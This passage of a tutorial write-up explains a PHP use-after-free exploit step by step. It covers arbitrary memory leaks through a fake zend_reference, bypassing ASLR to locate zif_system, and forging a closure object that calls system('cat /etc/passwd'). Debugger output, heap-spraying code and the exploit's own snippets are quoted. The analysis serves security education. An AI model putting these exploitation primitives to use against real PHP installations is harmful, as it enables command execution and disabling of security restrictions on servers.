if we use ``$helper->a`` we will be able to read from **anywhere** in memory: In the next lines of the exploit we're overwriting the ``zval.value`` of ``$helper->a``. We're making it point **to the fake zend_reference we created above**(the one at offset ``0x60``): 350 | 351 | ```php 352 | # creating a fake reference to the malicious zend_reference we instantiated above(in lines 187-188) 353 | write($abc, 0x10, $abc_addr + 0x60); # overwriting $helper->a (we are overwriting zval.value) 354 | write($abc, 0x18, 0xa); # overwriting $helper->a (we are overwriting its type, changing it to be 0xa, or 10 in decimal, which is IS_REFERENCE) 355 | ``` 356 | 357 | Now the ``zval.value`` of ``$helper->a`` is pointing to our malicious ``zend_reference`` and we can make it point to **anywhere** in memory by populating the ``zend_reference.val.value`` pointer with our target address. 358 | 359 | Reading values using ``$helper->a`` is a bit tricky. We're not going to use ``str2ptr()`` anymore. At this point, we will need to learn about what ``leak()`` is doing: 360 | 361 | ```php 362 | /*01*/ function leak($addr, $p = 0, $s = 8) { 363 | /*02*/ global $abc, $helper; 364 | /*03*/ write($abc, 0x68, $addr + $p - 0x10); 365 | /*04*/ $leak = strlen($helper->a); 366 | /*05*/ if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 367 | /*06*/ return $leak; 368 | /*07*/ } 369 | ``` 370 | 371 | In this function, we're abusing the way ``strlen()`` works in PHP: 372 | 1. First, we set our malicious ``zend_reference.val.value`` to be ``$addr`` (line 3) 373 | 2. Then, in line 4 we're abusing the way ``strlen()`` works: In PHP, ``strlen()`` is not exactly a "real function", it's more of a macro, like this one: 374 | 375 | ```c 376 | #define ZSTR_LEN(zstr) (zstr)->len 377 | ``` 378 | 379 | It will jump 16 bytes(this is the offset of ``zend_string.len``) past the beginnig of our dereferenced ``zend_reference.val.value`` in memory and then return this value. 380 | 381 | In other words: If we make ``$helper->a`` to point to the value in ``$addr``, whenever we will call ``strlen($helper->a)`` PHP will think it's a reference to a ``zend_string`` and will return a value 16 bytes **after** ``$addr``. 382 | 383 | This is why in line 3 he subtracted 0x10, which is 16 in decimal. He wanted that ``zend_string.len`` will land exactly at the value that ``strlen()`` returns) 384 | 385 | Example of a leak (Lines [195-196](exploit.php#L195-L196) in the exploit): 386 | 387 | The variable ``$closure_handlers`` contains the hex value ``0xef6dc0``: 388 | 389 | ```php 390 | $closure_handlers = str2ptr($abc, 0); // 0xef6dc0 391 | ``` 392 | 393 | This is an address of a structure that contains many function pointers which will help us to get the base address of the binary later on: 394 | 395 | ``` 396 | gdb-peda$ p *$mytmpObj->handlers <------ we are dereferencing 0xef6dc0 397 | $197 = { 398 | offset = 0x0, 399 | free_obj = 0x734000 , <--- soon to be leaked using leak() 400 | dtor_obj = 0x734110 , 401 | clone_obj = 0x734760 , 402 | ..... more ..... 403 | ``` 404 | 405 | We will leak a value at ``0xef6dc0 + 0x8`` ([line 196](exploit.php#L196) in the exploit): 406 | ```php 407 | $binary_leak = leak($closure_handlers, 8); 408 | ``` 409 | 410 | By calling ``leak(0xef6dc0, 8)``, the exploit author managed to: 411 | 1. Jump straight to ``0xef6dc0 + 8 - 16`` by making the malicious ``zend_reference.val.value``(of $helper->a) to point to this address. 412 | 2. And then, he calls ``strlen($helper->a)`` which reads the content of ``0xef6dc0 + 8 - 16 + 16`` (notice how the ``+16`` in this step zero-out the ``-16`` from step 1). 413 | 414 | ``binary_leak`` now contains ``0x734000`` . 415 | 416 | Here's the same thing but from a debugging session perspective: 417 | 418 | This is what ``strlen()`` saw when it fetched the "length" for us: 419 | ``` 420 | gdb-peda$ p (zend_string)*0xef6db8 <--- this is 0xef6dc0 + 8 - 16 421 | $199 = { 422 | gc = { 423 | refcount = 0x0, 424 | u = { 425 | v = { 426 | type = 0x0, 427 | flags = 0x0, 428 | gc_info = 0x0 429 | }, 430 | type_info = 0x0 431 | } 432 | }, 433 | h = 0x0, 434 | len = 0x734000, <------ our leaked value at offset of +16! this is [free_obj = 0x734000 ] 435 | val = "\020" 436 | } 437 | ``` 438 | 439 | #profit 440 | 441 | ## Overcoming ASLR: Finding ``zif_system`` 442 | 443 | Let's recap 444 | 445 | At this point, we have the following variables: 446 | 447 | * ``$abc``: Our uaf'd ``zend_string`` 448 | * ``$helper``: PHP object that shares the same memory address of ``$abc``'s value. 449 | * ``$abc_addr``: Contains the address of ``zend_string.val`` ($abc) 450 | * ``$closure_handlers``: Contains a pointer to where the ``$helper`` object handlers are stored. We dereferenced this pointer later using ``leak()`` to get ``$binary_leak``(below) 451 | * ``$binary_leak``: Contains a leaked pointer of the 1st object handler(we leaked the address of ``zend_object_std_dtor()``), this will be useful for the rest of the exploit since we will use this address to overcome ASLR. 452 | * ``$helper->a``: Used to leak values from anywhere in memory. This is a ``zval`` of type ``IS_REFERENCE`` which we assigned to a malicious ``zend_reference`` object that we wrote directly to the memory at offset ``0x60``. Because it has a type of reference, we're modifying the address of ``zend_reference.val.value`` in the first lines of ``leak()`` to get arbitrary leaks anywhere in the memory. 453 | * ``$helper->b()``: an anonymous function that is doing nothing, we will turn it into ``system()`` by the end of the exploit. 454 | 455 | We are going to create new variables with useful leaks: 456 | 457 | ```php 458 | if(!($base = get_binary_base($binary_leak))) { 459 | die("Couldn't determine binary base address"); 460 | } 461 | 462 | if(!($elf = parse_elf($base))) { 463 | die("Couldn't parse ELF header"); 464 | } 465 | 466 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { 467 | die("Couldn't get basic_functions address"); 468 | } 469 | 470 | if(!($zif_system = get_system($basic_funcs))) { 471 | die("Couldn't get zif_system address"); 472 | } 473 | ``` 474 | 475 | All of the functions above (from ``get_binary_base()`` to ``get_system()`` at the end of the snippet) are not doing anything special. They are all just wrappers of ``leak()`` (which we already explained). Here's a short description of what they're doing: 476 | 477 | 1. ``$base = get_binary_base($binary_leak)``: returns the binary base address by calling ``leak()`` over and over again in a loop until it hits the *ELF header* (if ``$leak == 0x10102464c457f`` is true then it returns the address) 478 | 2. ``$elf = parse_elf($base)``: Returns an array with useful sizes and addresses of different segments in the memory ( ``return [$data_addr, $text_size, $data_size];`` ) 479 | 3. ``$basic_funcs = get_basic_funcs($base, $elf)``: Using the 2 previous values we leaked (above), we are retrieving the address of PHP's *basic functions*. 480 | 481 | If you're not familiar with what are the basic funcs: The *basic functions* are part of a global variable called ``basic_functions_module`` (lays somewhere in the .data segment): 482 | 483 | ![screenshot1](./res/basic_functions_module.png) 484 | 485 | The ``functions`` property(in red) is our *basic funcs*. It contains internal PHP function names and their addresses (will be used in step 4). 486 | 487 | 4. ``$zif_system = get_system($basic_funcs)``: Pulling out the address of PHP's ``system()`` function by iterating through ``basic_functions_module->functions[]``: 488 | 489 | ![screenshot1](./res/finding_zif_system.png) 490 | 491 | ## Creating a Fake Closure Object 492 | 493 | >**Reminder**: In the beginning of the exploit, we set ``$helper->b = function ($x) { }; ``. This is just an empty anonymous function (or, **[*closure*](https://www.php.net/manual/en/functions.anonymous.php) object in "[Zend land](https://github.com/php/php-src/blob/PHP-7.1.0/Zend/zend_closures.c#L40-L46)**") that accepts one argument and basically doing nothing. It's useless right now but soon we will turn it into ``system`` 🔫 494 | 495 | To call PHP's ``system()``, we are going to create a fake *closure object* in memory (Lines [214-218](./exploit.php#L214-L218)): 496 | 497 | ```php 498 | $closure_obj = str2ptr($abc, 0x20); 499 | # fake closure object 500 | $fake_obj_offset = 0xd0; 501 | for($i = 0; $i < 0x110; $i += 8) { 502 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 503 | } 504 | ``` 505 | This part is divided into 2 steps: 506 | 507 | 1. ``$closure_obj = str2ptr($abc, 0x20);``: we are retrieving the address of the ``zend_closure`` which ``$helper->b`` points to. In the screenshot below you can see that we're printing the zval of ``$helper->b`` and getting the address of our anonymous function(or, closure object) using ``zval.value.obj``: 508 | 509 | ![screenshot1](./res/properties_table.png) 510 | 511 | 2. ``for($i = 0; $i < 0x110; $i += 8) { ... } ``: in this loop, we're using ``leak()`` and ``write()`` to **copy** the contents of our leaked ``$closure_obj`` pointer. We are copying it to be somewhere after the ``$helper`` object in the memory: 512 | 513 | ![screenshot1](./res/fake_obj_land_here.png) 514 | 515 | In yellow: we can see ``$helper->c`` (0x1337) and we can also see the last property of the PHP object, ``$helper->d`` (0x1338) 516 | 517 | In red: This is where our new copy will land(at offset ``0xd0``), outside of the $helper PHP object. 518 | 519 | After having a fresh copy of an anonymous function in memory, we'll start manipulating its metadata (Lines [221-225](./exploit.php#L221-L225)): 520 | 521 | ```php 522 | write($abc, 0x20, $abc_addr + $fake_obj_offset); 523 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type 524 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 525 | ``` 526 | 527 | 1. In the 1st line: we rewrite the ``zval.value.obj`` of ``$helper->b``, we're making it to point to our malicious copy of ``zend_closure`` object at offset ``0xd0``. 528 | 2. Lines 2 and 3 are responsible for overwriting some of the metadata in the malicious ``zend_closure`` object, you can see the overwrite below: 529 | 530 | ![screenshot1](./res/final_step.png) 531 | 532 | We can see from the diff that: 533 | * We overwrote a useful function pointer and set it to be ``zif_system`` (Line 25 in the diff) 534 | * We overwrote the ``zend_closure.func.type`` value to be ``0x1`` instead of ``0x2`` (Line 7 in the diff). But why? 1 or 2, what does it matter? It took me a while to understand but eventually I realized why the exploit author did it: The Zend Engine calls a function named ``destroy_op_array()`` which causes a crash. But if we set this value to be ``0x1``, we can make skip the crash: 535 | 536 | ![screenshot1](./res/zend_closure_free_storage.png) 537 | 538 | By setting it to ``0x1``, the ``if()`` statement in line 445(in the snippet above) will not be true and ``destroy_op_array()`` will not be called. #profit 539 | 540 | After looking at the macro from the snippet above(``#define ZEND_USER_FUNCTION 2``), I also realized that the exploit author set it to 0x1 and not 0x2 to make the Zend engine think that it's an internal function and not a user-defined function. 541 | 542 | ## Pwn 🔫 543 | 544 | Now that we have our malicious ``zend_closure`` all-set inside ``$helper->b``, all we need is to call it in a way that will trigger the ``zend_closure.func.internal_function.handler`` function pointer: 545 | 546 | ```php 547 | ($helper->b)('cat /etc/passwd'); 548 | ``` 549 | 550 | Output: 551 | 552 | ``` 553 | gdb-peda$ r PoC.php 554 | Starting program: /tmp/shaqattack/php-src/sapi/cli/php PoC.php 555 | [Thread debugging using libthread_db enabled] 556 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 557 | [New process 28482] 558 | [Thread debugging using libthread_db enabled] 559 | Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 560 | process 28482 is executing new program: /bin/dash 561 | [New process 28483] 562 | process 28483 is executing new program: /bin/cat 563 | root:x:0:0:root:/root:/bin/bash 564 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 565 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 566 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 567 | sync:x:4:65534:sync:/bin:/bin/sync 568 | ... 569 | ``` 570 | Achievement unlocked! 571 | 572 | Sometimes it might fail, sometimes it's not. This is why the exploit author added some heap spraying to the beginning of the script: 573 | 574 | ```php 575 | $n_alloc = 10; # increase this value if UAF fails 576 | $contiguous = []; 577 | for($i = 0; $i < $n_alloc; $i++) 578 | $contiguous[] = str_shuffle(str_repeat('A', 79)); 579 | ``` 580 | 581 | I personally had 99% success rate with this spraying so...crashes should not worry you. Try it yourself :D 582 | 583 | ## More info: 584 | * Black Hat USA Conference(2010) - Stefan Esser - Code Reuse/Return Oriented Programming in PHP Application Exploits (**this one is pretty old but it's worth watching**) 585 | - Part 1/5: https://www.youtube.com/watch?v=c0ZCe311YW8 586 | - Part 2/5: https://www.youtube.com/watch?v=XP6KpKhDlg0 587 | - Part 3/5: https://www.youtube.com/watch?v=rF9UK4dxtBs 588 | - Part 4/5: https://www.youtube.com/watch?v=etrxFWlv8_0 589 | - Part 5/5: https://www.youtube.com/watch?v=fRno4pGlQzw 590 | - Slides: https://web.archive.org/web/20200116105103/https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf 591 | 592 | --------------------------------------------------------------------------------